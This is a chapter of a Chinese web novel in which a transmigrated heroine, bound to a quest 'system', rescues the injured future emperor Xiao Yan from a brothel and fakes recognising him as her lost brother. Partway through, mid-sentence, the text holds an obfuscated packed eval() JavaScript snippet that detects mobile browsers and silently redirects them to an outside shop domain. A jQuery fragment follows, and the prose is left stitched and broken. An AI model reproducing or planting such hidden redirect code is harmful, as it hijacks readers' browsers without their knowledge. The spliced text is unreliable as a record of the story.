元颐二十八年,大梁的雨季到了,惊蛰前后连绵不断地下了好几日小雨。
夜幕低垂,静安城已经宵禁,唯有一处内外都灯火通明的地界。
摘香阁
静安城乃至整个大梁都赫赫有名的风月之地,上千两银子丢进去都砸不出一点水花的销金窟。
雨声渐稠,疾行的马车在长街的青石板砖上划出两道转瞬即逝的水痕,停在摘香阁空无一人的后门。
“小姐,摘香阁到了。”
宽敞的马车内,一身着粉衫的女子撩开车帘,转身看向车内的另一个人。
那是位年轻姑娘,约摸二十出头的年纪,样貌生得极美,肤色白皙,乌发红唇。若不是全身上下都是统一的素白压去了几分眼角眉梢的媚色,只怕看起来还要再美几分。
听了小桃的话,这姑娘眸色微动,却不急着起身,只缓缓开口道:“薄荷油拿了吗?”
“拿了。”说罢,小桃从袖中摸出只拇指大小,绿油油的小瓶子,“小姐,现在要用吗?”
沈佩珮点点头,小桃便伸手扶着她起身,将那薄荷油递到了她手上。
小瓶子的塞子被打开,辛辣略微带甜的气味瞬间填满车厢。
沈佩珮将瓶口放在鼻尖轻轻嗅了嗅,一直消散不去的眩晕感顿时好了许多。
脑中的机械音也越发清晰。
【记忆拷贝进度93%】
【记忆拷贝进度94%】
……
是的,她穿越了,还被莫名其妙绑定了个系统。
系统告诉她,她穿成了小说《云溪传》里的恶毒女配沈佩珮,只要保护男女主不被反派杀掉,大结局后就可以领积分回家。
这本小说沈佩珮是看过的,讲的是丞相遗落在民间的女儿李云溪,意外救了身受重伤的男主穆月,两人分别又重逢的故事。
众所周知,每段动人的爱情故事里总有这么一两个绊脚石。
除了害得主角双死的反派,沈佩珮这个女配算得上是绊脚石里比较大的一颗。
她是宁国公府的大小姐,借着家里的权势逼婚男主,陷害女主,甚至男二都被她虐待了整整两年。
不过,她也算恶有恶报,最后被男二关在冷宫里折磨致死。
说起这个男二肖彦也是一段传奇。
他原是梁徽帝的第四个儿子,四岁那年舅舅被卷进太子谋逆案,母族被抄,母亲自缢,他跟着剩下的族人被流放到儋州。
流放路上,他意外结识前帝师青竹先生百晓生,得了他老人家的青眼收为关门弟子,还没到儋州就上了青鱼山。
他十八岁那年下山夺嫡,路上偶遇沈佩珮早年失踪的弟弟沈南之,认出了沈南之身上那枚御赐给宁国公的观音玉佩。
彼时沈南之已经病重,念在宁国公曾经在朝堂上替他母族说过话,肖彦便在沈南之去世之后亲手安葬了他,带走了他的玉佩,准备回静安后向宁国公府报丧。
可肖彦刚至静安,还没进城就遇上流民打劫,他为护着那块玉观音受了重伤,被路过的女主李云溪所救。
李云溪将他安置在城外一户农家,这一切都被去城外上香的沈佩珮看在眼里。
她误以为肖彦是女主养在外面的小白脸,又正赶上她因宫宴上女主抢了她的风头生气。
为了给女主添堵,她便趁人走了以后,命人将肖彦抢走,卖进了摘香阁。
肖彦清醒后,搭上了一条腿拼死从摘香阁逃了出来,被女主在静安城内的一处秽所找到。
后来,女主认出了他身上的那枚玉佩,通知了沈家人将他接了回去。
沈家人因为玉佩,误以为肖彦就是沈南之。而肖彦那时势微,也有意背靠宁国公这颗大树,便假扮沈南之留在了国公府。
他留在国公府后,沈佩珮害怕自己卖他的事情败露,便让人在他饭食里加发癔症的毒药,想害他变得痴傻。
肖彦也怕沈佩珮知道他不是沈南之,于是装疯卖傻陪她演戏。
沈佩珮见肖彦变成了傻子,更是肆无忌惮地折磨他。
肖彦就这样忍着沈佩珮的虐待欺辱,在宁国公府蛰伏了两年。
私底下他招兵买马,暗中壮大自己的势力。还拥有一批江湖上赫赫有名的刺客,叫流云。
两年后,梁徽帝那些皇子们斗得伤的伤,死的死。
肖彦便借母族以前暗藏在朝堂的势力,认祖归宗,最后登上帝位。
而他当上皇帝的第一件事,就是将沈佩珮关进冷宫折磨泄恨,直至死亡。
“……”
这么想她可比男女主死得早多了,让她拯救男女主,不如让她先救救自己。
沈佩珮:“不然你还是先救救我吧。”
系统:【支线任务已开启:请宿主尽力求生。】
沈佩珮:“没有什么保命的金手指吗?”
系统:【暂时没有,请宿主尽力求生】
沈佩珮:艹,我不干了
但系统毕竟是人机,才不管她怎么想,直接黑屏下线。
然后,她这个换了壳子的“沈佩珮”,就这么猝不及防地上线了。
好死不死,她上线的时间正好卡在原身将肖彦卖进花楼的关键时刻。
当得知肖彦已经被卖了的时候,沈佩珮甚至还来不及适应现在这副身体,立刻就命人备了马车往摘香阁赶。
【记忆拷贝完成,请宿主尽快完成任务】
沈佩珮将手中小小的薄荷油瓶子盖好,往袖子里一揣,闭眼喘息了片刻,转头跟身侧的小桃点点头,低声道:“走吧。”
“小姐,帷帽!”
小桃抓起小桌上的帷帽,急急替沈佩珮带上,才扶着她下车。
沈佩珮还在车上时,宁国公府的侍卫就已经去摘香阁打点过了。
这会后门正候着个体态稍显臃肿的妇人,她身着绯色长裙,站在一群黑衣侍卫中格外显眼。
沈佩珮一下车,这妇人便迎上前来亲热地问候道:“沈大小姐,今晚好兴致啊,来找江生?”
江生?
那是谁?
原身的记忆刚刚拷贝完成,沈佩珮还不熟悉,突然提起这么一个人,她不免愣了愣。
但她没时间多想,只道:“不,我来找前些日子小桃送来那人。”
“哦,那位啊。”妇人拖着长长的尾音,恍然大悟一般,却又皱起眉头。
沈佩珮:“不行?”
“也不是不行。”,那妇人“嘶”了一声,面露难色地看向沈佩珮,“只是您送来的那位是个硬骨头,学不会规矩,今日吃了牛二一顿打,现在已经吃药睡下了。”
闻言,沈佩珮的眼皮不受控地抽了两下。
“你是说他被打以后,还被喂了蒙汗药?”
那妇人愣了一下,虽不知宁国公府这位大小姐怎么突然关心起之前吩咐她“好生管教”的人,却还是如实答道:“确是如此。”
沈佩珮的一颗心顿时高高悬起,慌忙催促道:“快快快,快带我去瞧瞧。”
她一面快步往里走,一面吩咐身旁的侍卫,“替我找个郎中过来,要快。”
好在关肖彦的屋子离后门不远,是厨房边一个小小的木棚。
这几日一直下雨,想来也知道里面是怎样一副场景,恐怕是屋外下大雨,里面下小雨。
一想到肖彦浑身是伤还得躺在这样的环境,心里恐怕早恨透她了。
沈佩珮就觉得太阳穴突突直跳。
“开门。”
沈佩珮自己都没发觉她此时的声音有些颤抖,引得小桃都朝她投射来了疑惑的目光。
随着那妇人打开缠在门锁上黑漆漆的粗铁链,门板发出一声嘶哑的闷哼,自觉朝里打开。
房间里黑洞洞的,能闻见从里面飘出的一股粪便夹杂着霉味的刺鼻气息。
“点灯。”
沈佩珮直挺挺地站在门口,声音冷得不像话。
她总算知道肖彦后来为什么那么恨沈佩珮了,现在都这样对他,不敢想象他进国公府后过的是什么样的日子。
一想到剧情里肖彦后来折磨沈佩珮的那些手段,她就浑身发冷。
劣质的油灯被点燃,房间里的味道变得更难闻了一些。
幸好油灯的味道虽然难闻,但光线够亮,瞬间将屋内的一切都照得清清楚楚。
角落用石头和木板随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061347|149280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
意搭建的床上,蜷缩着一个昏迷的男人,他的脸上脏兮兮的,有灰还有未干的血。身上的白色中衣破破烂烂,全是斑驳的血迹。
沈佩珮走到床边,蹲下身,伸手探向他左腰用身体死死压着的那处。
果然摸到棉布之下的一块硬物。
她的手指轻轻挑开男人腰上的衣物,再次伸手探向他的左腰,小指勾住玉佩上的挂绳,稍一用力,便将它扯了出来。
就在通体润白的玉佩落在她手里的一瞬间,男人睁开了眼睛,他一把掐住她的脖子,翻身将她压在身下。
男人布满血丝的双眼满是杀意,沈佩珮丝毫不怀疑只要自己挣扎一下,他就能轻易掐断她的脖子。
“你要干嘛,快放开我家小姐。”,小桃的尖叫从不远处传来。
下一秒,男人的脖颈上就被架了把寒光闪闪的长刀。
“放手。”侍卫的声音没有温度,冷得如同手里的刀。
窄窄的刀面映出男人一双冰冷空洞的眼睛,他的表情没有丝毫变化,只是猛然收紧了掐着沈佩珮脖子的手。
“小姐!”
小桃再次被吓得尖叫出声,推开面前的侍卫冲了出来,“你究竟想怎么样?”
他没有回应,目光落在沈佩珮紧攥着的右手,过了半响,才缓缓开口,“小姐,未经允许,擅自拿人东西叫偷,这个道理你不会不懂吧。
沈佩珮的发簪被撞落,帷帽也被推至眼前,遮住了半张脸。
只能从两片白色轻纱的缝隙间,窥见半点朱唇。
屋里的人乱成了一团,先前领路那绯色衣衫的妇人更是吓得一屁股坐在地上,扯着嗓子喊人。
唯独命悬一线的沈大小姐像个没事人一样,轻笑一声,抬手抚上男人的脸颊,柔声道:“小哥别急,我并非要拿你这玉佩,只是为了寻人……”
她的指尖顺着男人的下巴摸到他高挺的鼻梁,艳红的唇挑起一抹好看的弧度,轻佻又乖张。
脸上传来的痒意让男人不适地眯起了眼睛,混浊的眼底闪过一丝被冒犯的怒火,却没有躲开。
她的手指忽然上移,飞快擦过男人的眼睛。指尖沾染的薄荷油激得男人下意识松手捂脸,她便趁机滚下床成功逃脱。
男人这才发现自己被耍,强撑着睁眼,眼里全是被欺骗的怒火。
沈佩珮的帷帽早已掉落,此时正顶着一张如花似玉的脸笑得张扬。
“把玉佩还给我。”男人丝毫不在意架在脖颈上的长刀,似乎要冲上前抢夺玉佩。
“小郎君别急,我只是借来一看。”沈佩珮说着,便抬手将那玉佩放置眼前。
果然是一块白玉观音玉佩,这男人就是肖彦没错了。
只见她脸色一变,用手指揉了揉眼睛,看向床上的男人,呆愣了片刻,轻轻唤了声,“南之……”
瞬间,她的眼泪夺眶而出,攥紧了玉佩就要往男人的方向走,却被小桃一把拦住。
“南之,是你吗?南之……”沈佩珮哭得扑在小桃肩上。
她情绪转变太快,小桃完全没适应过来,只能紧紧抱着她,不让她往前走。
听到这个名字,男人明显也愣了愣,身上的杀气散去不少,但却什么也没说。
“来人啊,快来人啊,备车,快去备车,我要带南之走。”
沈佩珮的声音颤抖着,眼泪大颗大颗从眼眶里掉出,好似下一秒就会碎掉一般。
小桃虽不知自家小姐情绪为何会变得这样激动,但也知道问题都出在不远处那男人身上。
她扭头看向还坐在地上的妇人,吩咐道:“慧娘,你带这位公子去洗洗干净,好生打理,再送到南山居,我家小姐有话对他说。”
她话一说完,宁国公府的侍卫便压着男人出了门,示意慧娘带路。
沈佩珮一看人走远了,身上便卸了力,软软地倒进小桃的怀里。赶紧从怀里掏出帕子擦了擦抹了薄荷油的眼睛,又从脑袋上拔下一只金釵递给小桃,“真是个机灵鬼,这是给你的,快拿好。”
小桃看着面前已经像没事人一样的沈佩珮,有些发懵。
她家小姐这变脸速度,都快赶上城南马家班那位变脸师傅了……